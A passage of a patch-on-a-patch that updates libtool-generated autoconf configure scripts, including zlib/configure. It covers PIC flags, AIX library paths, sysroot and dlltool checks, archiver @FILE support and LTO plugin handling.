+@@ -7857,8 +8353,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -20089,7 +20143,7 @@ index 8d1e561c942..a0291dfbfa7 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -8645,6 +9143,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8024,6 +8518,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -20102,7 +20156,7 @@ index 8d1e561c942..a0291dfbfa7 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -8707,7 +9211,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8086,7 +8586,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -20111,7 +20165,7 @@ index 8d1e561c942..a0291dfbfa7 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -8764,13 +9268,17 @@ case $host_os in
+@@ -8143,13 +8643,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
@@ -20135,7 +20189,7 @@ index 8d1e561c942..a0291dfbfa7 100755
#
# Check to make sure the PIC flag actually works.
-@@ -8831,6 +9339,11 @@ fi
+@@ -8210,6 +8714,11 @@ fi
@@ -20147,7 +20201,7 @@ index 8d1e561c942..a0291dfbfa7 100755
#
# Check to make sure the static flag actually works.
#
-@@ -9181,7 +9694,8 @@ _LT_EOF
+@@ -8560,7 +9069,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -20157,7 +20211,7 @@ index 8d1e561c942..a0291dfbfa7 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9280,12 +9794,12 @@ _LT_EOF
+@@ -8659,12 +9169,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -20172,7 +20226,7 @@ index 8d1e561c942..a0291dfbfa7 100755
fi
;;
esac
-@@ -9299,8 +9813,8 @@ _LT_EOF
+@@ -8678,8 +9188,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -20183,7 +20237,7 @@ index 8d1e561c942..a0291dfbfa7 100755
fi
;;
-@@ -9318,8 +9832,8 @@ _LT_EOF
+@@ -8697,8 +9207,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -20194,7 +20248,7 @@ index 8d1e561c942..a0291dfbfa7 100755
else
ld_shlibs=no
fi
-@@ -9365,8 +9879,8 @@ _LT_EOF
+@@ -8744,8 +9254,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -20205,7 +20259,7 @@ index 8d1e561c942..a0291dfbfa7 100755
else
ld_shlibs=no
fi
-@@ -9496,7 +10010,13 @@ _LT_EOF
+@@ -8875,7 +9385,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -20220,7 +20274,7 @@ index 8d1e561c942..a0291dfbfa7 100755
/* end confdefs.h. */
int
-@@ -9509,22 +10029,29 @@ main ()
+@@ -8888,22 +9404,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -20263,7 +20317,7 @@ index 8d1e561c942..a0291dfbfa7 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9536,7 +10063,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8915,7 +9438,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -20278,7 +20332,7 @@ index 8d1e561c942..a0291dfbfa7 100755
/* end confdefs.h. */
int
-@@ -9549,22 +10082,29 @@ main ()
+@@ -8928,22 +9457,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -20321,7 +20375,7 @@ index 8d1e561c942..a0291dfbfa7 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -9609,20 +10149,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -8988,20 +9524,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -20399,7 +20453,7 @@ index 8d1e561c942..a0291dfbfa7 100755
;;
darwin* | rhapsody*)
-@@ -9683,7 +10266,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9062,7 +9641,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -20408,7 +20462,7 @@ index 8d1e561c942..a0291dfbfa7 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -9691,7 +10274,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9070,7 +9649,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -20417,7 +20471,7 @@ index 8d1e561c942..a0291dfbfa7 100755
else
archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -9707,7 +10290,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9086,7 +9665,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -20426,7 +20480,7 @@ index 8d1e561c942..a0291dfbfa7 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -9731,10 +10314,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9110,10 +9689,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -20439,7 +20493,7 @@ index 8d1e561c942..a0291dfbfa7 100755
;;
esac
else
-@@ -9813,23 +10396,36 @@ fi
+@@ -9192,23 +9771,36 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -20484,7 +20538,7 @@ index 8d1e561c942..a0291dfbfa7 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9914,7 +10510,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9293,7 +9885,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -20493,7 +20547,7 @@ index 8d1e561c942..a0291dfbfa7 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -9933,9 +10529,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9312,9 +9904,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -20505,7 +20559,7 @@ index 8d1e561c942..a0291dfbfa7 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -10511,8 +11107,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9890,8 +10482,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -20517,7 +20571,7 @@ index 8d1e561c942..a0291dfbfa7 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -10545,13 +11142,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -9924,13 +10517,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -20590,7 +20644,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -10643,7 +11298,7 @@ haiku*)
+@@ -10012,7 +10663,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -20599,16 +20653,16 @@ index 8d1e561c942..a0291dfbfa7 100755
hardcode_into_libs=yes
;;
-@@ -11439,7 +12094,7 @@ else
+@@ -10808,7 +11459,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11442 "configure"
+-#line 10811 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11483,10 +12138,10 @@ else
+@@ -10852,10 +11503,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -20621,16 +20675,16 @@ index 8d1e561c942..a0291dfbfa7 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11545,7 +12200,7 @@ else
+@@ -10914,7 +11565,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11548 "configure"
+-#line 10917 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11589,10 +12244,10 @@ else
+@@ -10958,10 +11609,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -20643,7 +20697,7 @@ index 8d1e561c942..a0291dfbfa7 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -13756,13 +14411,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -13101,13 +13752,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -20664,7 +20718,7 @@ index 8d1e561c942..a0291dfbfa7 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -13777,14 +14439,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -13122,14 +13780,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -20683,7 +20737,7 @@ index 8d1e561c942..a0291dfbfa7 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -13817,12 +14482,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -13162,12 +13823,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -20697,7 +20751,7 @@ index 8d1e561c942..a0291dfbfa7 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -13877,8 +14542,13 @@ reload_flag \
+@@ -13222,8 +13883,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -20711,7 +20765,7 @@ index 8d1e561c942..a0291dfbfa7 100755
STRIP \
RANLIB \
CC \
-@@ -13888,12 +14558,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -13233,12 +13899,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -20727,7 +20781,7 @@ index 8d1e561c942..a0291dfbfa7 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -13909,7 +14581,6 @@ no_undefined_flag \
+@@ -13254,7 +13922,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -20735,7 +20789,7 @@ index 8d1e561c942..a0291dfbfa7 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -13945,6 +14616,7 @@ module_cmds \
+@@ -13290,6 +13957,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -20743,7 +20797,7 @@ index 8d1e561c942..a0291dfbfa7 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -14710,7 +15382,8 @@ $as_echo X"$file" |
+@@ -14055,7 +14723,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -20753,7 +20807,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -14813,19 +15486,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -14158,19 +14827,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -20797,7 +20851,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -14855,6 +15551,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -14200,6 +14892,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -20810,7 +20864,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -14864,6 +15566,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -14209,6 +14907,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -20820,7 +20874,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -14978,12 +15683,12 @@ with_gcc=$GCC
+@@ -14323,12 +15024,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -20836,7 +20890,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -15070,9 +15775,6 @@ inherit_rpath=$inherit_rpath
+@@ -14415,9 +15116,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -20846,7 +20900,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -15088,6 +15790,9 @@ include_expsyms=$lt_include_expsyms
+@@ -14433,6 +15131,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -20856,7 +20910,7 @@ index 8d1e561c942..a0291dfbfa7 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -15120,210 +15825,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -14465,210 +15166,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -21231,7 +21285,7 @@ index 8d1e561c942..a0291dfbfa7 100755
chmod +x "$ofile"
diff --git a/zlib/configure b/zlib/configure
-index de6fa7e9960..cce448b6a53 100755
+index 695819cd54b..14b5f28013a 100755
--- a/zlib/configure
+++ b/zlib/configure
@@ -646,8 +646,11 @@ OTOOL
@@ -21419,7 +21473,7 @@ index de6fa7e9960..cce448b6a53 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -5405,11 +5506,165 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5407,6 +5508,158 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -21433,11 +21487,7 @@ index de6fa7e9960..cce448b6a53 100755
+
+
+
-
-
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
++if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
+set dummy ${ac_tool_prefix}dlltool; ac_word=$2
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
@@ -21579,7 +21629,15 @@ index de6fa7e9960..cce448b6a53 100755
+
+
+
-+if test -n "$ac_tool_prefix"; then
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5421,8 +5674,10 @@ for plugin in $plugin_names; do
+ done
+
+ if test -n "$ac_tool_prefix"; then
+- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
+-set dummy ${ac_tool_prefix}ar; ac_word=$2
+ for ac_prog in ar
+ do
+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
@@ -21587,7 +21645,7 @@ index de6fa7e9960..cce448b6a53 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -5425,7 +5680,7 @@ do
+@@ -5438,7 +5693,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -21596,7 +21654,7 @@ index de6fa7e9960..cce448b6a53 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -5445,11 +5700,15 @@ $as_echo "no" >&6; }
+@@ -5458,11 +5713,15 @@ $as_echo "no" >&6; }
fi
@@ -21615,7 +21673,7 @@ index de6fa7e9960..cce448b6a53 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -5465,7 +5724,7 @@ do
+@@ -5478,7 +5737,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -21624,7 +21682,7 @@ index de6fa7e9960..cce448b6a53 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -5484,6 +5743,10 @@ else
+@@ -5497,6 +5756,10 @@ else
$as_echo "no" >&6; }
fi
@@ -21635,7 +21693,7 @@ index de6fa7e9960..cce448b6a53 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -5495,16 +5758,72 @@ ac_tool_warned=yes ;;
+@@ -5508,25 +5771,19 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -21644,20 +21702,36 @@ index de6fa7e9960..cce448b6a53 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
+
+
+
+@@ -5538,6 +5795,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
+$as_echo_n "checking for archiver @FILE support... " >&6; }
+if ${lt_cv_ar_at_file+:} false; then :
@@ -21670,7 +21744,7 @@ index de6fa7e9960..cce448b6a53 100755
+int
+main ()
+{
-
++
+ ;
+ return 0;
+}
@@ -21696,23 +21770,30 @@ index de6fa7e9960..cce448b6a53 100755
+ fi
+ fi
+ rm -f conftest.* libconftest.a
-
++
+fi
+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
++
+fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
+$as_echo "$lt_cv_ar_at_file" >&6; }
-
++
+if test "x$lt_cv_ar_at_file" = xno; then
+ archiver_list_spec=
+else
+ archiver_list_spec=$lt_cv_ar_at_file
+fi
-
-
-
-@@ -5846,8 +6165,8 @@ esac
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -5877,8 +6192,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -21723,7 +21804,7 @@ index de6fa7e9960..cce448b6a53 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -5883,6 +6202,7 @@ for ac_symprfx in "" "_"; do
+@@ -5914,6 +6229,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -21731,7 +21812,7 @@ index de6fa7e9960..cce448b6a53 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -5924,6 +6244,18 @@ _LT_EOF
+@@ -5955,6 +6271,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -21750,7 +21831,7 @@ index de6fa7e9960..cce448b6a53 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -5935,7 +6267,7 @@ _LT_EOF
+@@ -5966,7 +6294,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -21759,7 +21840,7 @@ index de6fa7e9960..cce448b6a53 100755
const char *name;
void *address;
}
-@@ -5961,8 +6293,8 @@ static const void *lt_preloaded_setup() {
+@@ -5992,8 +6320,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -21770,7 +21851,7 @@ index de6fa7e9960..cce448b6a53 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -5972,8 +6304,8 @@ _LT_EOF
+@@ -6003,8 +6331,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -21781,7 +21862,7 @@ index de6fa7e9960..cce448b6a53 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -6010,6 +6342,19 @@ else
+@@ -6041,6 +6369,17 @@ else
$as_echo "ok" >&6; }
fi
@@ -21796,18 +21877,18 @@ index de6fa7e9960..cce448b6a53 100755
+
+
+
-+
-+
-@@ -6027,6 +6372,41 @@ fi
+@@ -6058,6 +6397,43 @@ fi
+
+
+
++
++
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
+$as_echo_n "checking for sysroot... " >&6; }
+
@@ -21843,7 +21924,7 @@ index de6fa7e9960..cce448b6a53 100755
-@@ -6241,6 +6621,123 @@ esac
+@@ -6272,6 +6648,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -21967,7 +22048,7 @@ index de6fa7e9960..cce448b6a53 100755
case $host_os in
rhapsody* | darwin*)
-@@ -6807,6 +7304,8 @@ _LT_EOF
+@@ -6838,6 +7331,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -21976,26 +22057,7 @@ index de6fa7e9960..cce448b6a53 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -7269,7 +7768,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -7358,7 +7858,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -7656,8 +8156,6 @@ fi
+@@ -7687,8 +8183,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -22004,7 +22066,7 @@ index de6fa7e9960..cce448b6a53 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -7823,6 +8321,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -7854,6 +8348,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
